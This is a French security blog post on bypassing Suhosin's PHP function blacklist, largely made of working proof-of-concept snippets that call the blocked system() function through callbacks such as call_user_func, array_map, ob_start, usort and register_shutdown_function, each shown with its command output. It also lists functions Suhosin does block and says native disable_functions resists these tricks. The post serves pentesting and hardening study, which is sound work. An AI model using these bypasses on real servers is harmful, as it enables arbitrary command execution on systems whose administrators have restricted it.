Je suis tombé hier sur un article russe de Profexer fort intéressant, qui concerne l’outre-passement (bypass) de la directive « suhosin.executor.func.blacklist » dans les nouvelles versions de PHP. Je tiens à revenir sur ces méthodes en éclaircissant certains aspects et pour en enrichir d’autres.
Safe_mode, disable_functions & Suhosin
En vue d’un bref rappel historique, le moteur PHP dispose de nombreuses directives et fonctionnalités pour se protéger d’attaques telles que l’exécution de code PHP arbitraire. Lors d’un pentest/audit d’une application web PHP, l’auditeur peut être amené à exploiter une exécution de code sur la cible. Si l’application cible est déployée sur un environnement PHP sécurisé, certaines fonctions PHP peuvent avoir été bloquées.
A l’origine, PHP fournit diverses directives dans son php.ini. On peut citer notamment :
- Le Safe_mode : directive booléenne qui désactive (entre autres) un grand nombres de fonctions natives de PHP, jugées dangereuses. Cette directive est considérée obsolète depuis PHP 5.3.0 et a été supprimée dans la version 5.4.0.
- La directive disable_functions, présente depuis PHP 4.3.2, qui permet de lister une série de fonctions à blacklister dans PHP, séparées par des virgules.
Suite à l’obsolescence du Safe_mode, un nouveau module a vu le jour dans le moteur PHP, du nom de Suhosin. La plupart des déploiements de PHP actuels exploitent ce module, qui permet des réglages de sécurité d’une toute autre finesse.
What is Suhosin?
Suhosin is an advanced protection system for PHP installations. It was designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. Suhosin comes in two independent parts, that can be used separately or in combination. The first part is a small patch against the PHP core, that implements a few low-level protections against bufferoverflows or format string vulnerabilities and the second part is a powerful PHP extension that implements all the other protections.
Unlike the PHP Hardening-Patch Suhosin is binary compatible to normal PHP installation, which means it is compatible to 3rd party binary extension like ZendOptimizer.
Lorsque Suhosin est déployé dans un environnement web PHP, sa configuration se gère dans le fichier suhosin.ini généralement présent dans /etc/php5/<YOUR PHP INSTALLED MOD>/conf.d/suhosin.ini, où votre mode d’installation PHP peut être interne à Apache2, en mode CLI ou CGI.
Suhosin.ini et functions blacklist
Le fichier de configuration suhosin.ini reprend une syntaxe de directives similaires au php.ini, et on y retrouve des directives du type :
; Executor Options ;suhosin.executor.max_depth = 0 ;suhosin.executor.include.max_traversal = 0 ;suhosin.executor.include.whitelist = ;suhosin.executor.include.blacklist = ;suhosin.executor.include.allow_writable_files = on ;suhosin.executor.func.whitelist = ;suhosin.executor.func.blacklist = ;suhosin.executor.eval.whitelist = ;suhosin.executor.eval.blacklist = ;suhosin.executor.disable_eval = off ;suhosin.executor.disable_emodifier = off ;suhosin.executor.allow_symlink = off
La directive qui nous intéresse pour cet article est « suhosin.executor.func.blacklist ». Les fonctions indiquées pour cette directive sont désactivées à l’exécution dans les scripts PHP ainsi que dans les eval(). Notez qu’il est possible de régler en finesse uniquement les fonctions à désactiver/autoriser pour les eval().
En guise de démonstration, voyons un cas concret avec la fonction system() (PHP4, PHP5), qui permet l’exécution de commande shell sur le serveur et affiche la sortie standard de la commande directement dans le navigateur :
<?php echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'system("uname -a");<br />'; system('uname -a'); ?>
Résultats :
suhosin.executor.func.blacklist = system('uname -a'); Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
Maintenant, si l’on désactive la fonction system() au travers de la directive Suhosin (reboot Apache nécessaire) :
suhosin.executor.func.blacklist = system
L’exécution du script nous retourne :
suhosin.executor.func.blacklist = system system('uname -a'); PHP Warning: system() has been disabled for security reasons in /var/www/x.php on line 4
La question qui se pose alors est : « Comment bypasser cette restriction ? »
Bypass de la liste noire des fonctions Suhosin
L’idée pour exécuter des commandes sur le serveur via la fonction system() sans appeler celle-ci directement, est d’utiliser d’autres fonctions natives à PHP qui exploitent des callbacks. Par callback, il faut entendre des pointeurs de fonctions ou des évaluations de code fonctionnel pour appeler en définitive notre fonction system() avec une couche d’abstraction.
Pour la liste des exemples qui suivent, la fonction system() est blacklistée dans suhosin :
call_user_func (PHP4, PHP5)
call_user_func — Appelle une fonction de rappel fournie par le premier argument
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'call_user_func (PHP4, PHP5):<br />'; call_user_func('system', $cmd); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system call_user_func (PHP4, PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
call_user_func_array (PHP4 >= 4.0.4, PHP5)
call_user_func_array — Appelle une fonction de rappel avec les paramètres rassemblés en tableau
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'call_user_func_array (PHP4 >= 4.0.4, PHP5):<br />'; call_user_func_array('system', array($cmd)); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system call_user_func_array (PHP4 >= 4.0.4, PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
ob_start (PHP4, PHP5)
ob_start — Enclenche la temporisation de sortie
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'ob_start (PHP4, PHP5):<br />'; ob_start('system'); echo $cmd; ob_end_flush(); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system ob_start (PHP4, PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
ReflectionFunction (PHP5)
La classe ReflectionFunction rapporte des informations sur une fonction.
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'ReflectionFunction (PHP5):<br />'; $function = new ReflectionFunction('system'); $function->invoke($cmd); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system ReflectionFunction (PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
iterator_apply (PHP5 >= 5.1.0)
iterator_apply — Appelle une fonction pour tous les éléments d’un itérateur
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'iterator_apply (PHP5 >= 5.1.0):<br />'; iterator_apply(new ArrayIterator(array('')), 'system', array($cmd)); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system iterator_apply (PHP5 >= 5.1.0): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
register_tick_function (PHP4 >= 4.0.3, PHP5)
register_tick_function — Enregistre une fonction exécutée à chaque tick
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'register_tick_function (PHP4 >= 4.0.3, PHP5):<br /'; declare(ticks=1); register_tick_function('system', $cmd); unregister_tick_function('system'); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system register_tick_function (PHP4 >= 4.0.3, PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
array_map (PHP4 >= 4.0.6, PHP5)
array_map — Applique une fonction sur les éléments d’un tableau
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'array_map (PHP4 >= 4.0.6, PHP5):<br />'; array_map('system', array($cmd)); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system array_map (PHP4 >= 4.0.6, PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
array_walk (PHP4, PHP5)
array_walk — Exécute une fonction sur chacun des éléments d’un tableau
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'array_walk (PHP4, PHP5):<br />'; $x = array($cmd); array_walk($x, 'system'); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system array_walk (PHP4, PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
Note : le tableau des paramètres à transmettre à array_walk() doit être déclaré au préalable ($x).
array_filter (PHP4 >= 4.0.6, PHP5)
array_filter — Filtre les éléments d’un tableau grâce à une fonction utilisateur
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'array_filter (PHP4 >= 4.0.6, PHP5):<br />'; array_filter(array($cmd), 'system'); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system array_filter (PHP4 >= 4.0.6, PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
usort (PHP4, PHP5)
usort — Trie un tableau en utilisant une fonction de comparaison
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'usort (PHP4, PHP5):<br />'; $x = array('', $cmd); usort($x, 'system'); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system usort (PHP4, PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
uasort (PHP4, PHP5)
uasort — Trie un tableau en utilisant une fonction de rappel
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'uasort (PHP4, PHP5):<br />'; $x = array('', $cmd); uasort($x, 'system'); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system uasort (PHP4, PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
array_udiff (PHP5)
array_udiff — Calcule la différence entre deux tableaux en utilisant une fonction rappel
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'array_udiff (PHP5):<br />'; array_udiff(array($cmd), array(''), 'system'); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system array_udiff (PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
array_reduce (PHP4 >= 4.0.5, PHP5)
array_reduce — Réduit itérativement un tableau
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'array_reduce (PHP4 >= 4.0.5, PHP5):<br />'; array_reduce(array(''), 'system', $cmd); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system array_reduce (PHP4 >= 4.0.5, PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
array_uintersect_assoc (PHP5)
array_uintersect_assoc — Calcule l’intersection de deux tableaux avec des tests sur l’index, compare les données en utilisant une fonction de rappel
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'array_uintersect_assoc (PHP5):<br />'; array_uintersect_assoc (array($cmd), array(''), 'system'); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system array_uintersect_assoc (PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
array_uintersect_uassoc (PHP5)
array_uintersect_uassoc — Calcule l’intersection de deux tableaux avec des tests sur l’index, compare les données et les indexes des deux tableaux en utilisant une fonction de rappel
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'array_uintersect_uassoc (PHP5):<br />'; array_uintersect_uassoc (array($cmd), array(''), 'system', 'system'); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system array_uintersect_uassoc (PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
register_shutdown_function (PHP4, PHP5)
register_shutdown_function — Enregistre une fonction de rappel pour exécution à l’extinction
Code de bypass :
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'register_shutdown_function (PHP4, PHP5):<br />'; register_shutdown_function('system', $cmd); ?>
Résultat fonctionnel :
suhosin.executor.func.blacklist = system register_shutdown_function (PHP4, PHP5): Linux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU/Linux
Fonctions à callback et d’évaluation protégées par Suhosin
Toutes les fonctions d’évaluation de code ou permettant l’utilisation de callbacks ne permettent pas toutes d’opérer à ces bypass. Parmi celles qui sont protégées on dénombre :
eval (PHP4, PHP5)
Documentation de l’instruction.
eval — Exécute une chaîne comme un script PHP
Code de test:
<?php $cmd = 'uname -a'; echo 'suhosin.executor.eval.blacklist = ' . ini_get('suhosin.executor.eval.blacklist') . '<br />'; echo 'eval (PHP4, PHP5):<br />'; eval('system(\''.$cmd.'\');'); ?>
Résultat non-fonctionnel :
suhosin.executor.eval.blacklist = system eval (PHP4, PHP5): PHP Warning: system() has been disabled for security reasons in /var/www/x.php(5) : eval()'d code on line 1
preg_replace (PHP4, PHP5)
preg_replace — Rechercher et remplacer par expression rationnelle standard
Code de test:
<?php $cmd = 'uname -a'; echo 'suhosin.executor.eval.blacklist = ' . ini_get('suhosin.executor.eval.blacklist') . '<br />'; echo 'preg_replace (PHP4, PHP5):<br />'; preg_replace('/x/e','system(\''.$cmd.'\')','x'); ?>
Résultat non-fonctionnel :
suhosin.executor.eval.blacklist = system preg_replace (PHP4, PHP5): PHP Warning: system() has been disabled for security reasons in /var/www/x.php(5) : regexp code on line 1
Note : Le flag « e » dans le pattern permet d’évaluer le code de remplacement comme pour la fonction eval().
preg_replace_callback (PHP4 >= 4.0.5, PHP5)
preg_replace_callback — Rechercher et remplacer par expression rationnelle standard en utilisant une fonction de callback
Code de test:
<?php $cmd = 'uname -a'; echo 'suhosin.executor.eval.blacklist = ' . ini_get('suhosin.executor.eval.blacklist') . '<br />'; echo 'preg_replace_callback (PHP4 >= 4.0.5, PHP5):<br />'; preg_replace_callback('/$cmd/', create_function( '$cmds', 'return system($cmds[0]);' ),'$cmd'); ?>
Résultat non-fonctionnel :
suhosin.executor.eval.blacklist = preg_replace_callback (PHP4 >= 4.0.5, PHP5): PHP Warning: system() has been disabled for security reasons in /var/www/x.php(8) : runtime-created function on line 1
Note : Le callback est créé à la volé avec create_function(), qui forme un bloc de définition anonyme.
create_function (PHP4 >= 4.0.1, PHP5)
create_function — Crée une fonction anonyme
Code de test:
<?php $cmd = 'uname -a'; echo 'suhosin.executor.eval.blacklist = ' . ini_get('suhosin.executor.eval.blacklist') . '<br />'; echo 'create_function (PHP4 >= 4.0.1, PHP5):<br />'; $func = create_function('$cmd', 'return system($cmd);'); $func($cmd); ?>
Résultat non-fonctionnel :
suhosin.executor.eval.blacklist = create_function (PHP4 >= 4.0.1, PHP5): PHP Warning: system() has been disabled for security reasons in /var/www/x.php(5) : runtime-created function on line 1
Retour aux mécanismes de base du php.ini disable_functions
Contrairement à ce que l’on pourrait penser, réutiliser la directive « disable_functions » native de PHP plutôt que celle de Suhosin apporte une bien meilleure sécurité quant à ces potentiels bypass.
Voyons dans le PoC suivant, toutes les techniques de bypass qui sont exécutées à la suite pour tenter de venir à bout de la directive « disable_functions = system » du php.ini.
<?php $cmd = 'uname -a'; echo 'suhosin.executor.func.blacklist = ' . ini_get('suhosin.executor.func.blacklist') . '<br />'; echo 'disable_functions = ' . ini_get('disable_functions') . '<br />'; echo '<br />call_user_func (PHP4, PHP5):<br />'; call_user_func('system', $cmd); echo '<br />call_user_func_array (PHP4 >= 4.0.4, PHP5):<br />'; call_user_func_array('system', array($cmd)); echo '<br />ob_start (PHP4, PHP5):<br />'; ob_start('system'); echo $cmd; ob_end_flush(); echo '<br />ReflectionFunction (PHP5):<br />'; $function = new ReflectionFunction('system'); $function->invoke($cmd); echo '<br />iterator_apply (PHP5 >= 5.1.0):<br />'; iterator_apply(new ArrayIterator(array('')), 'system', array($cmd)); echo '<br />register_tick_function (PHP4 >= 4.0.3, PHP5):<br />'; declare(ticks=1); register_tick_function('system', $cmd); unregister_tick_function('system'); echo '<br />array_map (PHP4 >= 4.0.6, PHP5):<br />'; array_map('system', array($cmd)); echo '<br />array_walk (PHP4, PHP5):<br />'; $x = array($cmd); array_walk($x, 'system'); echo '<br />array_filter (PHP4 >= 4.0.6, PHP5):<br />'; array_filter(array($cmd), 'system'); echo '<br />usort (PHP4, PHP5):<br />'; $x = array('', $cmd); usort($x, 'system'); echo '<br />uasort (PHP4, PHP5):<br />'; $x = array('', $cmd); uasort($x, 'system'); echo '<br />array_udiff (PHP5):<br />'; array_udiff(array($cmd), array(''), 'system'); echo '<br />array_reduce (PHP4 >= 4.0.5, PHP5):<br />'; array_reduce(array(''), 'system', $cmd); echo '<br />array_uintersect_assoc (PHP5):<br />'; array_uintersect_assoc (array($cmd), array(''), 'system'); echo '<br />array_uintersect_uassoc (PHP5):<br />'; array_uintersect_uassoc (array($cmd), array(''), 'system', 'system'); echo '<br />eval (PHP4, PHP5):<br />'; eval('system('$cmd');'); echo '<br />preg_replace (PHP4, PHP5):<br />'; preg_replace('/x/e','system('$cmd')','x'); echo '<br />preg_replace_callback (PHP4 >= 4.0.5, PHP5):<br />'; preg_replace_callback('/$cmd/', create_function( '$cmds', 'return system($cmds[0]);' ),'$cmd'); echo '<br />create_function (PHP4 >= 4.0.1, PHP5):<br />'; $func = create_function('$cmd', 'return system($cmd);'); $func($cmd); echo '<br />register_shutdown_function (PHP4, PHP5):<br />'; register_shutdown_function('system', $cmd); ?>
Résultat :
La directive native de PHP applique bien une sécurité beaucoup plus restrictive que celle de Suhosin.
Conclusion et évolutions
Si Suhosin permet des évasions de la sorte pour une liste noire de fonctions, il pourrait être intéressant de creuser en ce sens pour évader d’autres directives. Je pense notamment à « suhosin.executor.eval.blacklist« , ou bien même « suhosin.executor.disable_eval« .
A noter que la fonction d’exécution de commande shell utilisée dans les PoC précédents est « system() ». Or il existe une multitude de méthodes/fonctions PHP qui permettent d’arriver à des fins similaires. Celles-ci sont d’ailleurs régulièrement blacklistées chez les hébergeurs, et peuvent être bypassées avec les techniques développées plus haut. Pour n’en citer que quelques-unes :
Idem, d’autres fonctions permettent d’exploiter des callbacks. Des fonctions natives de PHP mais aussi parmi les objets et classes. Des pistes pour d’autres PoC pourraient concerner les fonctions uksort, array_diff_ukey, array_intersect_uassoc, array_intersect_ukey, etc.
Les techniques d’évasions précédentes de la liste noire Suhosin n’est bien évidemment pas exhaustive, d’autres méthodes plus ou moins exotiques peuvent être utilisées. Si vous connaissez de telles méthodes, n’hésitez pas à contribuer à cet article en me contactant.
Editions et mises à jour
09 avril 2013 :
Après un échange de mail avec Stefan Esser du site officiel du module de sécurité, il s’avère que cette faiblesse n’est pas propre à Suhosin mais est intrinsèque à PHP. Ce problème de bypass est connu des développeurs depuis environs une année. Il provient d’une difficulté du moteur PHP d’appeler le hook sécurisé des appels de fonctions internes (callback). D’après Stefan Esser, cette faiblesse est résolue dans la version 5.5 de PHP qui n’est pour l’heure qu’au stade de beta.
A noter que le projet Suhosin est quelque peu « endormi » en ce moment. Une reprise est prévue à partir de mai 2013.